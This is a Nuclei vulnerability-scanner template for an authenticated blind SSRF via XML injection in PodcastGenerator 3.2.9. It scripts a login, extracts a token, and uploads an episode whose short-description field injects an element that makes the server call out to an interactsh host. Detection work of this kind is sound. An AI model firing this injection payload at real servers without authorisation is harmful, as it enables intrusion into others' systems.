podcast-generator-ssrf: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection

id: podcast-generator-ssrf

info:
  name: PodcastGenerator 3.2.9 - Blind SSRF via XML Injection
  author: ritikchaddha,MrHarshvardhan
  severity: high
  description: |
    This is a SSRF vulnerability via Xml injection found in PodcastGenerator 3.2.9.
  reference:
    - https://www.exploit-db.com/exploits/51565
    - https://mirabbasagalarov.medium.com/podcastgenerator-3-2-9-blind-ssrf-via-xml-injection-3795804467df
    - https://github.com/PodcastGenerator/PodcastGenerator
  metadata:
    verified: true
    max-request: 3
  tags: podcastgenerator,ssrf,authenticated,intrusive,vuln
variables:
  string: "{{rand_text_alpha(7)}}"

http:
  - raw:
      - |
        POST /podcast/PodcastGenerator/admin/login.php?login=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&password={{password}}
      - |
        GET /podcast/PodcastGenerator/admin/episodes_upload.php HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /podcast/PodcastGenerator/admin/episodes_upload.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1WfeHRSBn1aNkQQA

        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="file"; filename="{{string}}.jpg"
        Content-Type: image/jpeg

        {{rand_text_alpha(50)}}
        {{rand_text_alpha(50)}}

        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="title"

        {{string}}
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="shortdesc"

        test]]></shortdescPG><imgPG path="">http://{{interactsh-url}}</imgPG><shortdescPG><![CDATA[test
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="category[ ]"

        uncategorized
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="date"

        2023-10-30
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="time"

        12:26
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="episodecover"; filename=""
        Content-Type: application/octet-stream


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="longdesc"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="episodenum"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="seasonnum"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="itunesKeywords"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="explicit"

        no
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="authorname"

        {{string}}
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="authoremail"

        {{string}}@{{string}}.com
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="customtags"


        ------WebKitFormBoundary1WfeHRSBn1aNkQQA
        Content-Disposition: form-data; name="token"

        {{token}}
        ------WebKitFormBoundary1WfeHRSBn1aNkQQA--

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body_2
        words:
          - "Main Information"
          - "Episode Cover:"
        condition: and

    extractors:
      - type: regex
        part: body_2
        name: token
        group: 1
        regex:
          - 'pe="hidden" name="token" value="([A-Za-z0-9]+)">'
        internal: true
# digest: 4a0a0047304502203fb6a14112b7fee31c7885f199b474c87725874a02bbc6726b23092ba567c62b02210084ea1e22017afdd0b1f82ee43ad967aa44c53ad04edd7227afa153d234931f93:922c64590222798bb761d5b6d8e72950

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